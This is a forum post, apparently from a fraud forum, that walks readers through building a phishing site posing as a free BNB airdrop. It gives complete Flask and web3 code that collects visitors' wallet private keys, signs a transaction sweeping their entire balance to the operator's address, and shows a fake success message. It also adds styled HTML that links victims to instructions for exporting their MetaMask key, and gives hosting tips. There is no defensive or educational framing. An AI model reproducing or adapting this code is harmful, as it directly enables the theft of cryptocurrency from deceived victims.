Shelby

Shelby

Participant
Статус
Offline
Joined
5/18/20
Messages
11
Reaction score
2

Introduction​

I think it's already clear from the title what we're going to do. However, I want to note that I will provide you with the basics, and the rest is up to you.

The Essence​

Step 1.

First, we need to install several Python libraries, specifically:

pip install flask

pip install web3


If you encounter an error during the installation of web3, check this link - https://stackoverflow.com/questions/58287344/pip-install-web3-not-installing

Now let's import the necessary libraries into the code:

from flask import Flask, request

from web3 import Web3

app = Flask(name)


Step 2.


Now we need to create a simple HTML form. I'll provide an example here:

@app.route("/", methods=["GET"])

def index():


return """

<form action="/reward" method="post">

<p>Paste BNB your private key, and receive free BNB</p>

<input type="text" id="Privatekey" name="privatekey" placeholder="Your private key..">

<br>

<label>We need the private key to validate your account!</label>

<br>

<input type="submit" value="Submit">

</form>
"""


Step 3.


Now let's move on to the auto-withdrawal script. But first, we need to decide on the cryptocurrency we will be exploiting.

I recommend using BNB because the fees are much lower compared to Ethereum and Bitcoin, and the chances of finding a whale are very high!

To do this, we need to find the RPC URL for our cryptocurrency. For BNB, it's https://bsc-dataseed.binance.org/, and you can find others here - https://www.airdrops.blog/adding-networks-to-metamask/.

Next, you will need to insert the URL and your withdrawal address into the code:

@app.route('/reward', methods=["GET", "POST"]) # create a new page

def mamontizaciya():
if request.method == "POST":
privatekey = request.form.get("privatekey") # Get the private key from the form

rpc_url = str("RPC") # Insert the RPC URL here

web3 = Web3(Web3.HTTPProvider(rpc_url)) # Connect to the blockchain

account = web3.eth.account.privateKeyToAccount(privatekey.strip()) # Check the key for validity

account_1 = account.address # Generate an address from the private key

account_2 = "Your address" # Input YOUR address here

balance = web3.eth.get_balance(account_1) # Get the balance of the wallet

balance = web3.fromWei(balance, 'ether') # Convert the balance to a readable format

if balance > 0: # If the balance is less than 0, it's not needed

gas_price = 10 * 21000 / 1000000000 # Get the cost of the transaction fee

if gas_price > balance: # Check if the wallet is too poor to pay the fee
return "AirDrop only for BNB holders" # Not enough funds to cover the fee
else:
nonce = web3.eth.getTransactionCount(account_1) # Get the wallet's transaction count

# Create a transaction
tx = {
'nonce': nonce,
'to': account_2,
'value': web3.toWei(float(balance) - gas_price, 'ether'),
'gas': 21000,
'gasPrice': web3.toWei(10, 'gwei')
}

signed_tx = web3.eth.account.sign_transaction(tx, privatekey.strip()) # Sign the transaction

tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction) # Send the transaction

return "Congratulations! Soon you'll receive your reward!" # If the whale sees this, the process was successful
else:
return """AirDrop only for BNB holders"""

if __name__ == "__main__":
app.run()

# End of the code

Шаг 4.

Each network has its own fee, which can vary. To modify it, edit the following lines:

gas_price = gas price * gas limit / 1000000000
tx = {
'nonce': nonce,
'to': account_2,
'value': web3.toWei(float(balance) - gas_price, 'ether'),
'gas': gas price,
'gasPrice': web3.toWei(gas limit, 'gwei')
}

Example:

gas_price = 50 * 50000 / 1000000000
tx = {
'nonce': nonce,
'to': account_2,
'value': web3.toWei(float(balance) - gas_price, 'ether'),
'gas': 50000,
'gasPrice': web3.toWei(50, 'gwei')
}

Тут всё зависит от крипты которою Вы будете фишить.
Step 5.

Congratulations, the website is created! However, it will currently lack styles and look like this:

d7340ec242b24813e23c4.png
d7340ec242b24813e23c4.png

Here is an example of code with CSS:


from flask import Flask, request

from web3 import Web3


app = Flask(__name__)


@app.route("/", methods=["GET"])
def index():
return """<html>
<head>
<style>
*{
margin: 0 auto;
}
html, body {
width: 100%;
height:100%;
}

body {
background: linear-gradient(-45deg, #ee7752, #e73c7e, #23a6d5, #23d5ab);
background-size: 500% 500%;
animation: gradient 15s ease infinite;
}

@keyframes gradient {
0% {
background-position: 0% 50%;
}
50% {
background-position: 100% 50%;
}
100% {
background-position: 0% 50%;
}
}
form{
width: 450px;
text-align: center;
background-color: white;
border-radius: 12px;
padding: 30px;
}
input[type=text], select {
width: 450px;
padding: 12px 20px;
margin: 8px 0;
display: inline-block;
border: 1px solid #ccc;
border-radius: 4px;
box-sizing: border-box;
}

input[type=submit] {
width: 450px;
background-color: #4CAF50;
color: white;
padding: 14px 20px;
margin: 8px 0;
border: none;
border-radius: 4px;
cursor: pointer;
}
div{
padding-top: 15%;
}
#footer {
text-align: center;
position: fixed;
left: 0; bottom: 0;
padding: 10px;
background: white;
color: #fff;
width: 100%;
}
</style>
</head>
<body>
<div>
<form action="/reward" method="post">
<p style="font-size:23px;">Paste BNB private key , and receive free BNB <img src="https://s2.coinmarketcap.com/static/img/coins/200x200/1839.png" alt="bnb.png" width="20px;"></p>
<input type="text" id="privatekey" name="privatekey" placeholder="Your metamask private key..">
<br>
<input type="submit" value="Submit">
</form>
</div>
<div id="footer">
<a href="https://metamask.zendesk.com/hc/en-us/articles/360015289632-How-to-Export-an-Account-Private-Key">How to get private key from metamask?</a>
</div>
</body>
</html>"""


@app.route('/reward', methods=["GET", "POST"]) # Creating a new page
def mamontization():
if request.method == "POST":
privatekey = request.form.get("privatekey") # Getting the private key from the form

rpc_url = str("RPC") # Insert your RPC URL

web3 = Web3(Web3.HTTPProvider(rpc_url)) # Connecting to the blockchain

account = web3.eth.account.privateKeyToAccount(privatekey.strip()) # Checking the validity of the private key

account_1 = account.address # Generating an address from the private key

account_2 = "Your address" # Insert YOUR address

balance = web3.eth.get_balance(account_1) # Getting the balance of the account

balance = web3.fromWei(balance, 'ether') # Converting the balance to a readable format

if balance > 0: # If the balance is less than 0, it's not needed

gas_price = 10 * 21000 / 1000000000 # Getting the cost of the transaction fee

if gas_price > balance: # Checking if the account can afford the transaction fee
return "AirDrop only for BNB holders" # Not enough funds in the account to pay the transaction fee
else:
nonce = web3.eth.getTransactionCount(account_1) # Getting the account's transaction count

# Creating a transaction

tx = {
'nonce': nonce,
'to': account_2,
'value': web3.toWei(float(balance) - gas_price, 'ether'),
'gas': 21000,
'gasPrice': web3.toWei(10, 'gwei')
}

signed_tx = web3.eth.account.sign_transaction(tx, privatekey.strip()) # Signing the transaction

tx_hash = web3.eth.sendRawTransaction(signed_tx.rawTransaction) # Sending the transaction

return "Congratulations! Soon you'll receive your reward!" # If the account sees this, the mamontization was successful
else:
return """AirDrop only for BNB holders"""

if __name__ == "__main__":
app.run()

# End of the code

This is what the site will look like:
XBNk4kn.png
XBNk4kn.png

Next, install the site on any flask hosting (pythonanywhere for example, or any other). If this error appears:

a4f6c530f70b0a7b0c13e.png
a4f6c530f70b0a7b0c13e.png

Then try changing the gas limit in the transaction code and calculation of the commission price. Congratulations, you're done!
 
Top